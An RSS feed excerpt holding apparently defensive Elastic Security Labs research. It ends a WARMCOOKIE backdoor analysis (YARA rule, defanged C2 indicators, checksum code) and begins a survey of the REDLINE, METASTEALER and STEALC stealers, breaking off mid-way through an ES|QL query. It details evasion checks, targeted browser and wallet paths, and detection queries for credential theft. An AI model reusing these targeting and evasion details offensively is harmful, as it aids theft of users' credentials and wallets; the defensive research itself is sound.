<p>This handler enumerates the installed programs on the victim machine via the registry key:</p>
<pre><code>HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall
</code></pre>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/dipping-into-danger/image12.png" alt="Grabbing the installed programs from the registry" title="Grabbing the installed programs from the registry" /></p>
<p>The program's name, version, and installation date are Base64 encoded and placed into a pipe-delimited format along with the checksum data, offsets, and sizing.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/dipping-into-danger/image15.png" alt="Decrypted POST Request Data from Handler 3" title="Decrypted POST Request Data from Handler 3" /></p>
<p>Below is an example of one of the registry entries:</p>
<table>
<thead>
<tr>
<th>Encoded Value</th>
<th>Decoded Value</th>
</tr>
</thead>
<tbody>
<tr>
<td>Ny1aaXAgMTguMDEgKHg2NCk=</td>
<td>7-Zip 18.01 (x64)</td>
</tr>
</tbody>
</table>
<h4>Command-line execution - command ID (4)</h4>
<p>WARMCOOKIE uses this handler to provide backdoor access to the victim machine. The operator provides an argument that gets executed to <code>cmd.exe /c </code>without a console window.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/dipping-into-danger/image37.png" alt="New process creation with custom command line" title="New process creation with custom command line" /></p>
<p>In the example below, <code>whoami</code> is provided as the argument:</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/dipping-into-danger/image33.png" alt="Process tree with command-lines" title="Process tree with command-lines" /></p>
<p>This function reads the output from the provided command and stores it in Base64, where it’s sent back to the C2 server. Below is an example of the decrypted data for this handler:</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/dipping-into-danger/image30.png" alt="Decrypted POST Request Data from Handler 4" title="Decrypted POST Request Data from Handler 4" /></p>
<table>
<thead>
<tr>
<th>Encoded Value</th>
<th>Decoded Value</th>
</tr>
</thead>
<tbody>
<tr>
<td>ZGVza3RvcC0yYzNpcWhvXHJlbQ0K</td>
<td>desktop-2c3iqho\rem</td>
</tr>
</tbody>
</table>
<h4>Write file - command ID (5)</h4>
<p>WARMCOOKIE can drop files on the victim machine; the threat actors provide the file path and file data.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/dipping-into-danger/image28.png" alt="File Creation within Handler 5" title="File Creation within Handler 5" /></p>
<p>As a test, we can write a file within a directory with some data and then read it in the next handler.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/dipping-into-danger/image27.png" alt="Custom file creation" title="Custom file creation" /></p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/dipping-into-danger/image19.png" alt="Data written to custom file" title="Data written to custom file" /></p>
<p>Depending on the file write result, WARMCOOKIE will send out a POST request with one of the following Base64 encoded values:</p>
<ul>
<li><code>OK</code></li>
<li><code>ERROR: Cannot write file</code></li>
</ul>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/dipping-into-danger/image2.png" alt="Decrypted POST Request Data from Handler 5" title="Decrypted POST Request Data from Handler 5" /></p>
<h4>Read file - command ID (6)</h4>
<p>This handler can read file content from machines infected with WARMCOOKIE. The threat actor needs to provide the file path as the argument.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/dipping-into-danger/image25.png" alt="Reading files within Handler 6" title="Reading files within Handler 6" /></p>
<p>Depending on the file read result, WARMCOOKIE will send out a POST request with one of the following Base64 encoded values along with the file contents:</p>
<ul>
<li><code>OK (See 'Files' tab)</code></li>
<li><code>ERROR: Cannot read file</code></li>
</ul>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/dipping-into-danger/image5.png" alt="Decrypted POST Request Data from Handler 6" title="Decrypted POST Request Data from Handler 6" /></p>
<p>Based on the previous wording around a <code>Files</code> tab, the WARMCOOKIE operators may use a GUI element.</p>
<h4>Remove persistence - command ID (10)</h4>
<p>This handler removes the previously configured scheduled task with the name <code>RtlUpd</code>. By leveraging COM, it will call <code>DeleteFileW</code> within <code>mstask.dll</code> to remove the task.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/dipping-into-danger/image4.png" alt="Callstack showing task deletion via COM" title="Callstack showing task deletion via COM" /></p>
<h2>IDA string decryption tool</h2>
<p>Elastic Security Labs is releasing an IDAPython script used to decrypt strings from WARMCOOKIE. The decrypted strings will be placed in the IDA Pro decompiler helping analysts identify key functionality. The string decryption and IDA commenting tool can be downloaded <a href="https://github.com/elastic/labs-releases/tree/main/tools/warmcookie">here</a>.</p>
<h2>Conclusion</h2>
<p>WARMCOOKIE is a newly discovered backdoor that is gaining popularity and is being used in campaigns targeting users across the globe. Our team believes this malware represents a formidable threat that provides the capability to access target environments and push additional types of malware down to victims. While there is room for improvement on the malware development side, we believe these minor issues will be addressed over time. Elastic Security Labs will continue to monitor this threat and recommends that the industry do the same.</p>
<h2>WARMCOOKIE and MITRE ATT&amp;CK</h2>
<p>Elastic uses the <a href="https://attack.mitre.org/">MITRE ATT&amp;CK</a> framework to document common tactics, techniques, and procedures that advanced persistent threats use against enterprise networks.</p>
<h3>Tactics</h3>
<p>Tactics represent the why of a technique or sub-technique. It is the adversary’s tactical goal: the reason for performing an action.</p>
<ul>
<li><a href="https://attack.mitre.org/tactics/TA0001">Initial Access</a></li>
<li><a href="https://attack.mitre.org/tactics/TA0002/">Execution</a></li>
<li><a href="https://attack.mitre.org/tactics/TA0005/">Defense Evasion</a></li>
<li><a href="https://attack.mitre.org/tactics/TA0007">Discovery</a></li>
<li><a href="https://attack.mitre.org/tactics/TA0011">Command and Control</a></li>
<li><a href="https://attack.mitre.org/tactics/TA0010/">Exfiltration</a></li>
</ul>
<h3>Techniques</h3>
<p>Techniques represent how an adversary achieves a tactical goal by performing an action.</p>
<ul>
<li><a href="https://attack.mitre.org/techniques/T1566/">Phishing</a></li>
<li><a href="https://attack.mitre.org/techniques/T1204/001/">User Execution: Malicious Link</a></li>
<li><a href="https://attack.mitre.org/techniques/T1059/001/">Command and Scripting Interpreter: PowerShell</a></li>
<li><a href="https://attack.mitre.org/techniques/T1082/">System Information Discovery</a></li>
<li><a href="https://attack.mitre.org/techniques/T1053/">Scheduled Task/Job</a></li>
<li><a href="https://attack.mitre.org/techniques/T1113/">Screen Capture</a></li>
<li><a href="https://attack.mitre.org/techniques/T1059/003/">Command and Scripting Interpreter: Windows Command Shell</a></li>
</ul>
<h2>Preventing and detecting WARMCOOKIE</h2>
<h3>Prevention</h3>
<ul>
<li><a href="https://github.com/elastic/protections-artifacts/blob/ecde1dfa1aaeb6ace99e758c2ba7d2e499f93515/behavior/rules/execution_suspicious_powershell_downloads.toml">Suspicious PowerShell Downloads</a></li>
<li><a href="https://github.com/elastic/protections-artifacts/blob/ecde1dfa1aaeb6ace99e758c2ba7d2e499f93515/behavior/rules/persistence_scheduled_task_creation_by_an_unusual_process.toml">Scheduled Task Creation by an Unusual Process</a></li>
<li><a href="https://github.com/elastic/protections-artifacts/blob/ecde1dfa1aaeb6ace99e758c2ba7d2e499f93515/behavior/rules/execution_suspicious_powershell_execution.toml">Suspicious PowerShell Execution via Windows Scripts</a></li>
<li><a href="https://github.com/elastic/protections-artifacts/blob/ecde1dfa1aaeb6ace99e758c2ba7d2e499f93515/behavior/rules/defense_evasion_rundll32_regsvr32_loads_a_dll_downloaded_via_bits.toml">RunDLL32/Regsvr32 Loads a DLL Downloaded via BITS</a></li>
<li><a href="https://github.com/elastic/protections-artifacts/blob/main/behavior/rules/defense_evasion_rundll32_with_unusual_arguments.toml">RunDLL32 with Unusual Arguments</a></li>
<li><a href="https://github.com/elastic/protections-artifacts/blob/main/yara/rules/Windows_Trojan_WarmCookie.yar">Windows.Trojan.WarmCookie</a></li>
</ul>
<h3>Detection w/YARA</h3>
<p>Elastic Security has created YARA rules to identify this activity. Below are YARA rules to identify <a href="https://github.com/elastic/protections-artifacts/blob/main/yara/rules/Windows_Trojan_WarmCookie.yar">WARMCOOKIE</a>:</p>
<pre><code class="language-yara">rule Windows_Trojan_WarmCookie_7d32fa90 {
    meta:
        author = &quot;Elastic Security&quot;
        creation_date = &quot;2024-04-29&quot;
        last_modified = &quot;2024-05-08&quot;
        os = &quot;Windows&quot;
        arch = &quot;x86&quot;
        threat_name = &quot;Windows.Trojan.WarmCookie&quot;
        license = &quot;Elastic License v2&quot;

     strings:
        $seq_checksum = { 45 8D 5D ?? 45 33 C0 41 83 E3 ?? 49 8D 4E ?? 44 03 DB 41 8D 53 ?? }
        $seq_string_decrypt = { 8B 69 04 48 8D 79 08 8B 31 89 6C 24 ?? 48 8D 4E ?? E8 }
        $seq_filesearch = { 48 81 EC 58 02 00 00 48 8B 05 82 0A 02 00 48 33 C4 48 89 84 24 40 02 00 00 45 33 C9 48 8D 44 24 30 45 33 C0 48 89 44 24 20 33 C9 41 8D 51 1A FF 15 83 4D 01 00 85 C0 78 22 48 8D 4C 24 30 E8 1D }
        $seq_registry = { 48 81 EC 80 02 00 00 48 8B 05 F7 09 02 00 48 33 C4 48 89 84 24 70 02 00 00 4C 89 B4 24 98 02 00 00 48 8D 0D 4D CA 01 00 45 33 F6 41 8B FE E8 02 4F 00 00 48 8B E8 41 B9 08 01 00 00 48 8D 44 24 }
        $plain_str1 = &quot;release.dll&quot; ascii fullword
        $plain_str2 = &quot;\&quot;Main Invoked.\&quot;&quot; ascii fullword
        $plain_str3 = &quot;\&quot;Main Returned.\&quot;&quot; ascii fullword
        $decrypt_str1 = &quot;ERROR: Cannot write file&quot; wide fullword
        $decrypt_str2 = &quot;OK (No output data)&quot; wide fullword
        $decrypt_str3 = &quot;OK (See 'Files' tab)&quot; wide fullword
        $decrypt_str4 = &quot;cmd.exe /c %ls&quot; wide fullword
        $decrypt_str5 = &quot;Cookie:&quot; wide fullword
        $decrypt_str6 = &quot;%ls\\*.*&quot; wide fullword
    condition:
        (3 of ($plain*)) or (2 of ($seq*)) or 4 of ($decrypt*)
}
</code></pre>
<h2>Observations</h2>
<p>All observables are also available for <a href="https://github.com/elastic/labs-releases/tree/main/indicators/warmcookie">download</a> in both ECS and STIX format.</p>
<p>The following observables were discussed in this research.</p>
<table>
<thead>
<tr>
<th>Observable</th>
<th>Type</th>
<th>Name</th>
<th>Reference</th>
</tr>
</thead>
<tbody>
<tr>
<td><code>ccde1ded028948f5cd3277d2d4af6b22fa33f53abde84ea2aa01f1872fad1d13</code></td>
<td>SHA-256</td>
<td>RtlUpd.dll</td>
<td>WARMCOOKIE</td>
</tr>
<tr>
<td><code>omeindia[.]com</code></td>
<td>domain</td>
<td></td>
<td>Phishing link</td>
</tr>
<tr>
<td><code>assets.work-for[.]top</code></td>
<td>domain</td>
<td></td>
<td>Landing page</td>
</tr>
<tr>
<td><code>45.9.74[.]135</code></td>
<td>ipv4-addr</td>
<td></td>
<td>Landing page</td>
</tr>
<tr>
<td><code>80.66.88[.]146</code></td>
<td>ipv4-addr</td>
<td></td>
<td>WARMCOOKIE C2 server</td>
</tr>
<tr>
<td><code>185.49.69[.]41</code></td>
<td>ipv4-addr</td>
<td></td>
<td>WARMCOOKIE C2 server</td>
</tr>
</tbody>
</table>
<h2>References</h2>
<p>The following were referenced throughout the above research:</p>
<ul>
<li><a href="https://www.esentire.com/blog/esentire-threat-intelligence-malware-analysis-resident-campaign">https://www.esentire.com/blog/esentire-threat-intelligence-malware-analysis-resident-campaign</a></li>
<li><a href="https://x.com/Cryptolaemus1/status/1785423804577034362">https://x.com/Cryptolaemus1/status/1785423804577034362</a></li>
</ul>
<h2>Appendix</h2>
<p><strong>Checksum example</strong></p>
<pre><code class="language-python">def calculate_checksum(str_input, str_len, i):
    if i == 0:
        i = 0xFFFFFFFF
    if i == -1:
        i = 0

    for idx in range(0, str_len, 2):
        v6 = str_input[idx] | (str_input[idx + 1] &lt;&lt; 8)
        for _ in range(16):
            if (v6 ^ i) &amp; 1:
                i = ((i &gt;&gt; 1) ^ 0xEDB88320) &amp; 0xFFFFFFFF
            else:
                i = (i &gt;&gt; 1) &amp; 0xFFFFFFFF
            v6 &gt;&gt;= 1

    return ~i &amp; 0xFFFFFFFF


serial_volume = 0x0A2C9AD2F

mutex = &quot;f92e6f3c-9cc3-4be0-966c-1be421e69140&quot;.encode(&quot;utf-16le&quot;)
mutex_result = calculate_checksum(mutex, len(mutex), -1)

username = &quot;REM\x00&quot;.encode(&quot;utf-16le&quot;)
username_result = calculate_checksum(username, len(username), -1)

computer_name = &quot;DESKTOP-2C3IQHO&quot;.encode(&quot;utf-16le&quot;)
computer_name_result = calculate_checksum(computer_name, len(computer_name), -1)

print(f&quot;Mutex: {hex(mutex_result)}&quot;)
print(f&quot;Username: {hex(username_result)}&quot;)
print(f&quot;Computer Name: {hex(computer_name_result)}&quot;)
print(f&quot;#1 Checksum: {hex(serial_volume ^ mutex_result)}&quot;)
print(f&quot;#2 Checksum: {hex(username_result ^ computer_name_result)}&quot;)
</code></pre>]]></content:encoded>
            <category>security-labs</category>
            <enclosure url="https://www.elastic.co/pt/security-labs/assets/images/dipping-into-danger/warmcookie.jpg" length="0" type="image/jpg"/>
        </item>
        <item>
            <title><![CDATA[Globally distributed stealers]]></title>
            <link>https://www.elastic.co/pt/security-labs/globally-distributed-stealers</link>
            <guid>globally-distributed-stealers</guid>
            <pubDate>Fri, 24 May 2024 00:00:00 GMT</pubDate>
            <description><![CDATA[This article describes our analysis of the top malware stealer families, unveiling their operation methodologies, recent updates, and configurations. By understanding the modus operandi of each family, we better comprehend the magnitude of their impact and can fortify our defences accordingly.]]></description>
            <content:encoded><![CDATA[<h2>Introduction</h2>
<p>This article describes our analysis of the top Windows malware stealer families that we’ve identified, unveiling their operation methodologies, recent updates, and configurations. By understanding the modus operandi of each family, we better comprehend the magnitude of their impact and can fortify our defences accordingly. Additionally, we’ll examine our unique telemetry to offer insights about the current volume associated with these prevalent malware stealer families.</p>
<p>Mitigating this kind of covert threat requires a multi-faceted approach consistent with defense-in-depth principles. We will likewise describe various techniques for detection, including the use of ES|QL hunting queries and Yara rules which empower organizations to proactively defend against them.</p>
<h2>Telemetry overview</h2>
<p>The telemetry data showcased in this article encompasses insights gathered from both internal and external sources, providing a comprehensive understanding of threat activity.</p>
<p>Notably, between 2022 and 2023, REDLINE emerged as the most prevalent malware in the wild, closely trailed by AGENT TESLA, VIDAR, and then STEALC. It's worth highlighting that this period marked the debut of STEALC in the wild, indicative of evolving threat landscapes.</p>
<p>In the subsequent time frame, spanning from 2023 to 2024, there was a notable spike in AGENT TESLA activity, followed by REDLINE, STEALC, and VIDAR, reflecting shifting trends in malware prevalence and distribution.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/globally-distributed-stealers/image6.png" alt="Telemetry data May 2023 - May 2024" />
Elastic telemetry data May 2023 - May 2024</p>
<p>Despite fluctuations in general malware prevalence, AGENT TESLA has consistently maintained its position as a prominent threat. This enduring dominance can be attributed to several factors, including its relatively low price point and enticing capabilities, which appeal to a wide range of threat actors, particularly those operating with limited resources or expertise.</p>
<p>A noteworthy observation is that due to METASTEALER’s foundation on REDLINE, certain METASTEALER samples may inadvertently fall under the categorization of REDLINE.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/globally-distributed-stealers/image5.png" alt="METASTEALER triggering REDLINE signatures" /></p>
<h2>Top stealers overview</h2>
<h3>REDLINE (REDLINE STEALER)</h3>
<p><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.redline_stealer">REDLINE</a> made its debut in the threat landscape in 2020, leveraging email as its initial distribution method; it operates on a Malware-as-a-Service (MaaS) model, making it accessible to a wide range of threat actors. Its affordability and availability in underground forums have contributed to its popularity among cybercriminals.</p>
<p>The latest operations of REDLINE involve multiple infection vectors, including email phishing, malicious websites hosting seemingly legitimate applications, and social engineering tactics. Our researchers analyzed a recent sample <a href="https://x.com/vxunderground/status/1634713832974172167">reported by vx-underground</a> indicating a campaign targeting engineers on the freelancing platform Fiverr. This tactic poses significant risks, potentially leading to the compromise of companies through unsuspecting freelancers.</p>
<p>REDLINE is built on the .NET framework, which provides it with portability and ease of implementation. It has a variety of functionalities aimed at gathering vital system information and extracting sensitive data:</p>
<ul>
<li>System information acquisition:</li>
<li>Collects essential system details such as UserName, Language, and Time Zone</li>
<li>Retrieves hardware specifics including processor and graphic card information</li>
<li>Monitors running processes and identifies installed browsers</li>
<li>Data extraction:</li>
<li>Targets browser data repositories, extracting saved passwords, credit card details, cookies, and auto-fill entries</li>
<li>Procures VPN login credentials for unauthorized access</li>
<li>Logs user credentials and chat histories from platforms like Discord and Telegram</li>
<li>Identifies and steals cryptocurrency wallets, potentially compromising valuable digital assets:</li>
</ul>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/globally-distributed-stealers/image13.png" alt="REDLINE collecting system information" /></p>
<p>REDLINE uses a string obfuscation technique to hinder analysis and evade detection based on strings like yara by dynamically constructing the strings at runtime from an array of characters:</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/globally-distributed-stealers/image4.png" alt="REDLINE string obfuscation" /></p>
<p>Its configuration is structured within a static class, containing four public fields:  <code>IP</code>,  <code>ID</code>, <code>Message</code>, and an XOR Key. The <code>IP</code> and <code>ID</code> fields contents are encrypted using XOR encryption and then encoded in base64 as depicted below:</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/globally-distributed-stealers/image3.png" alt="REDLINE's configuration" /></p>
<h3>METASTEALER</h3>
<p><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.metastealer">METASTEALER</a> emerged in 2022, initially advertised as a derivative of REDLINE, with additional features; our malware analysts recently encountered a sample of METASTEALER within a campaign masquerading as Roblox, previously <a href="https://x.com/CERT_OPL/status/1767191320790024484">reported by CERT as Orange Polska</a>.</p>
<p>METASTEALER is primarily developed using the .NET framework, facilitating its compatibility with Windows environments and enabling ease of implementation. Certain versions employ obfuscation methods, including obscuring the control flow of the malware and making it more challenging to detect or analyze.</p>
<p>This METASTEALER sample utilizes the <a href="https://www.secureteam.net/">AGILE.NET</a> obfuscator, specifically its proxy call obfuscation method. This technique is used to conceal the direct invocation of an original function by introducing an additional layer of abstraction. Instead of directly invoking the function, AGILE.NET generates a proxy method that then invokes the original function. This added complexity makes it more challenging for code analysts to discern the sequence of actions.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/globally-distributed-stealers/image9.png" alt="METASTEALER's obfuscation" /></p>
<p>Looking at the code above, we can see the method <code>Delegate11.smethod_0</code> calls a <code>Delegate11.delegate11_0</code> which is not initialized, introducing ambiguity during static analysis as analysts cannot determine which method will actually be executed.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/globally-distributed-stealers/image14.png" alt="METASTEALER initializing the delegate" /></p>
<p>At runtime, the malware will initialize the delegate. by calling the method <code>Class4.smethod_13</code> in the constructor of <code>Delegate11</code> class, this method constructs a dictionary of token values, where each key represents the token value of a delegate (e.g., <code>0x040002DE</code>), and its corresponding value represents the token of the original method to be executed. This dictionary is constructed from a sequence of bytes stored in the binary, enabling dynamic resolution of method invocations during runtime.</p>
<p>Following this, it will generate a dynamic method for the delegate and execute it using the <code>smethod_0</code> function.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/globally-distributed-stealers/image8.png" alt="METASTEALER generating delegates dynamic method" /></p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/globally-distributed-stealers/image7.png" alt="METASTEALER checking for debuggers" /></p>
<p>All the important strings in the configuration, like the C2 IP address and port, are encrypted. The malware has a class called <code>Strings</code> that is called at the start of execution to decrypt all the strings at once, a process involving a combination of Base64 encoding, XOR decryption, and AES CBC decryption.</p>
<p>Initially, the AES parameters, such as the <code>AES KEY</code> and <code>AES IV</code>, undergo decryption. In the provided example, the <code>AES KEY</code> and <code>AES IV</code> are first base64 decoded. Subsequently, they are subjected to XOR decryption using a predetermined XOR key, followed by two consecutive base64 decoding steps.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/globally-distributed-stealers/image1.png" alt="Encrypted AES parameters" /></p>
<p>The Strings class holds byte arrays that are decrypted using AES CBC after being reversed, and then appended to the <strong>Strings.Array</strong> list. Later, when the malware requires specific strings, it accesses them by indexing this list. For example <strong>String.get(6)</strong>.</p>
<h3>STEALC</h3>
<p>A recent major player in the stealer space <a href="https://blog.sekoia.io/stealc-a-copycat-of-vidar-and-raccoon-infostealers-gaining-in-popularity-part-1/">discovered</a> by Sekoia in February 2023 is the <a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.stealc">STEALC</a> family. This malware was first advertised in an underground forum in January 2023 where the developer mentioned a major dependency on existing families such as VIDAR, RACOON, and REDLINE. Since this timeframe, our team has observed new STEALC samples daily showing signs of popularity and adoption by cybercriminals.</p>
<p>STEALC is implemented in C and includes features like dynamic imports, string obfuscation, and various anti-analysis checks prior to activating its data-stealing capabilities. In order to protect the binary and its core features, STEALC encrypts its strings using a combination of Base64 + RC4 using a hardcoded key embedded in each sample.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/globally-distributed-stealers/image10.png" alt="Embedded RC4 key and encrypted strings within STEALC" /></p>
<p>There are 6 separate functions used for anti-analysis/anti-sandbox checks within STEALC. Based on the number of processors, STEALC will terminate itself if the active processor count is less than 2.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/globally-distributed-stealers/image2.png" alt="Retrieve number of processors" /></p>
<p>STEALC performs a sandbox/emulation test using a more obscure Windows API (<code>VirtualAllocExNuma</code>) to allocate a large amount of memory. If the API is not implemented, the process will terminate.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/globally-distributed-stealers/image15.png" alt="API check using VirtualAllocExNuma" /></p>
<p>The malware performs another sandbox check by reading values from <code>GlobalMemoryStatusEx</code>. After a byte shift against the collected attributes of the physical memory, if the value is less than <code>0x457</code> the sample will terminate.</p>
<p>The malware will stop execution if the language identifier matches one of the following LangIDs:</p>
<ul>
<li>Russian_Russia  (<code>0x419</code>)</li>
<li>Ukrainian_Ukraine  (<code>0x422</code>)</li>
<li>Belarusian_Belarus (<code>0x423</code>)</li>
<li>Kazakh_Kazakhstan (<code>0x43f</code>)</li>
<li>Uzbek_Latin__Uzbekistan (<code>0x443</code>)</li>
</ul>
<p>STEALC also incorporates the Microsoft Defender emulation check, we have observed this in many stealers such as seen in <a href="https://www.elastic.co/pt/security-labs/elastic-security-labs-discovers-lobshot-malware">LOBSHOT</a>. STEALC will terminate if the following hard-coded values match inside Microsoft Defender’s emulation layer with the username <code>JohnDoe</code> and computer name of <code>HAL9TH</code>.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/globally-distributed-stealers/image12.png" alt="Microsoft Defender emulation check using computer name and username" /></p>
<p>One of the more impactful anti-analysis checks that comes with STEALC is an expiration date. This unique value gets placed into the malware’s config to ensure that the stealer won’t execute after a specific date set by the builder. This allows the malware to keep a lower profile by using shorter turnarounds in campaigns and limiting the execution in sandbox environments.</p>
<h4>STEALC - Execution flow</h4>
<p>After its initial execution, STEALC will send the initial hardware ID of the machine and receive a configuration from the C2 server:</p>
<pre><code>f960cc969e79d7b100652712b439978f789705156b5a554db3acca13cb298050efa268fb|done|tested.file|1|1|1|1|1|1|1|1|
</code></pre>
<p>After this request, it will send multiple requests to receive an updated list of targeted browsers and targeted browser extensions. Below is an example of the browser configuration, this contains the targeted directory path where the sensitive data is stored.</p>
<pre><code>Google Chrome|\Google\Chrome\User Data|chrome|chrome.exe|Google Chrome Canary|\Google\Chrome SxS\User Data|chrome|chrome.exe|Chromium|\Chromium\User Data|chrome|chrome.exe|Amigo|\Amigo\User Data|chrome|0|Torch|\Torch\User Data|chrome|0|Vivaldi|\Vivaldi\User Data|chrome|vivaldi.exe|Comodo Dragon|\Comodo\Dragon\User Data|chrome|0|EpicPrivacyBrowser|\Epic Privacy Browser\User Data|chrome|0|CocCoc|\CocCoc\Browser\User Data|chrome|0|Brave|\BraveSoftware\Brave-Browser\User Data|chrome|brave.exe|Cent Browser|\CentBrowser\User Data|chrome|0|7Star|\7Star\7Star\User Data|chrome|0|Chedot Browser|\Chedot\User Data|chrome|0|Microsoft Edge|\Microsoft\Edge\User Data|chrome|msedge.exe|360 Browser|\360Browser\Browser\User Data|chrome|0|QQBrowser|\Tencent\QQBrowser\User Data|chrome|0|CryptoTab|\CryptoTab Browser\User Data|chrome|browser.exe|Opera Stable|\Opera Software|opera|opera.exe|Opera GX Stable|\Opera Software|opera|opera.exe|Mozilla Firefox|\Mozilla\Firefox\Profiles|firefox|0|Pale Moon|\Moonchild Productions\Pale Moon\Profiles|firefox|0|Opera Crypto Stable|\Opera Software|opera|opera.exe|Thunderbird|\Thunderbird\Profiles|firefox|0|
</code></pre>
<p>At this point, STEALC will then collect a broad range of victim information. This information is then formatted, Base64 encoded, and then sent to the C2 server over POST requests using form data fields.</p>
<ul>
<li>Hardware ID</li>
<li>Windows OS product info</li>
<li>Processor / RAM information</li>
<li>Username / computername</li>
<li>Local system time / time zone / locale of victim</li>
<li>Keyboard layout</li>
<li>Battery check (used to determine if laptop or not)</li>
<li>Desktop resolution, display info</li>
<li>Installed programs, running processes</li>
</ul>
<p>For the stealing component, STEALC leverages the received configurations in order to collect various valuable information including:</p>
<ul>
<li>Browser cookies</li>
<li>Login data</li>
<li>Web data</li>
<li>History</li>
<li>Cryptocurrency wallets</li>
</ul>
<p>STEALC also offers other various configuration options including:</p>
<ul>
<li>Telegram data</li>
<li>Discord</li>
<li>Tox</li>
<li>Pidgin</li>
<li>Steam</li>
<li>Outlook emails</li>
</ul>
<table>
<thead>
<tr>
<th></th>
<th>RedLine Stealer</th>
<th>Meta Stealer</th>
<th>Stealc</th>
</tr>
</thead>
<tbody>
<tr>
<td>First time seen in the wild</td>
<td>2020</td>
<td>2022</td>
<td>2023</td>
</tr>
<tr>
<td>Source Language</td>
<td>C#</td>
<td>C#</td>
<td>C</td>
</tr>
<tr>
<td>Average size (unpacked)</td>
<td>253 KB</td>
<td>278 KB</td>
<td>107 KB</td>
</tr>
<tr>
<td>String obfuscation? Algo?</td>
<td>Yes</td>
<td>Yes</td>
<td>Yes (custom RC4 + base64)</td>
</tr>
</tbody>
</table>
<h2>Detection</h2>
<p>To fully leverage detection capabilities listed below for these threats with Elastic Security, it is essential to integrate <a href="https://docs.elastic.co/en/integrations/endpoint">Elastic Defend</a> and <a href="https://docs.elastic.co/en/integrations/windows">Windows</a>.</p>
<ul>
<li><a href="https://github.com/elastic/protections-artifacts/blob/main/behavior/rules/command_and_control_connection_to_webservice_by_an_unsigned_binary.toml">Connection to WebService by an Unsigned Binary</a></li>
<li><a href="https://github.com/elastic/protections-artifacts/blob/main/behavior/rules/command_and_control_connection_to_webservice_by_a_signed_binary_proxy.toml">Connection to WebService by a Signed Binary Proxy</a></li>
<li><a href="https://github.com/elastic/protections-artifacts/blob/main/behavior/rules/windows/command_and_control_suspicious_dns_query_from_mounted_virtual_disk.toml">Suspicious DNS Query from Mounted Virtual Disk</a></li>
<li><a href="https://github.com/elastic/protections-artifacts/blob/main/behavior/rules/credential_access_suspicious_access_to_web_browser_credential_stores.toml">Suspicious Access to Web Browser Credential Stores</a></li>
<li><a href="https://github.com/elastic/protections-artifacts/blob/main/behavior/rules/credential_access_web_browser_credential_access_via_unsigned_process.toml">Web Browser Credential Access via Unsigned Process</a></li>
<li><a href="https://github.com/elastic/protections-artifacts/blob/main/behavior/rules/credential_access_access_to_browser_credentials_from_suspicious_memory.toml">Access to Browser Credentials from Suspicious Memory</a></li>
<li><a href="https://github.com/elastic/protections-artifacts/blob/main/behavior/rules/credential_access_failed_access_attempt_to_web_browser_files.toml">Failed Access Attempt to Web Browser Files</a></li>
<li><a href="https://github.com/elastic/protections-artifacts/blob/main/behavior/rules/credential_access_web_browser_credential_access_via_unusual_process.toml">Web Browser Credential Access via Unusual Process</a></li>
</ul>
<h3>ES|QL queries</h3>
<p>The following list of hunts and detection queries can be used to detect stealers activities:</p>
<ul>
<li>
<p>Identifies untrusted or unsigned executables making DNS requests to Telegram or Discord domains, which may indicate command-and-control communication attempts.</p>
<pre><code class="language-sql">from logs-endpoint*
| where (process.code_signature.trusted == false or process.code_signature.exists == false)
| where dns.question.name in (&quot;api.telegram.com&quot;, &quot;cdn.discordapp.com&quot;,
                                &quot;discordapp.com&quot;, &quot;discord.com&quot;,&quot;discord.gg&quot;,&quot;cdn.discordapp.com&quot;)
| stats executable_count = count(*) by process.executable, process.name, dns.question.name
| sort executable_count desc
</code></pre>
</li>
<li>
<p>Detects suspicious activies targeting crypto wallets files and configurations stored on Windows systems.</p>
<pre><code class="language-sql">from logs-endpoint.events.file-*
| where @timestamp &gt; now() - 14 days
| where host.os.type == &quot;windows&quot;
and event.category == &quot;file&quot;
and event.action == &quot;open&quot; 
and (
  file.path rlike &quot;&quot;&quot;C:\\Users\\.+\\AppData\\Roaming\\.+\\(Bitcoin|Ethereum|Electrum|Zcash|Monero|Wallet|Litecoin|Dogecoin|Coinbase|Exodus|Jaxx|MyEtherWallet|MetaMask)\\.*&quot;&quot;&quot;
  or file.path rlike &quot;&quot;&quot;C:\\ProgramData\\.+\\(Bitcoin|Ethereum|Electrum|Zcash|Monero|Wallet|Litecoin|Dogecoin|Coinbase|Exodus|Jaxx|MyEtherWallet|MetaMask)\\.*&quot;&quot;&quot;
)
| keep process.executable, process.name, host.id, file.path, file.name
| stats number_hosts = count_distinct(host.id), unique_files = count_distinct(file.name) by process.executable
| where number_hosts == 1 and unique_files &gt;= 3
| sort number_hosts desc
</code></pre>
</li>
<li>
<p>Monitors access to sensitive browser data, such as cookies, login data, and browsing history, which may indicate information-stealing malware activities.</p>
<pre><code class="language-sql">from logs-endpoint.events.file-*, logs-windows.sysmon_operational-default-*
| where @timestamp &gt; now() - 14 days
| where host.os.type == &quot;windows&quot;
and event.category == &quot;file&quot;
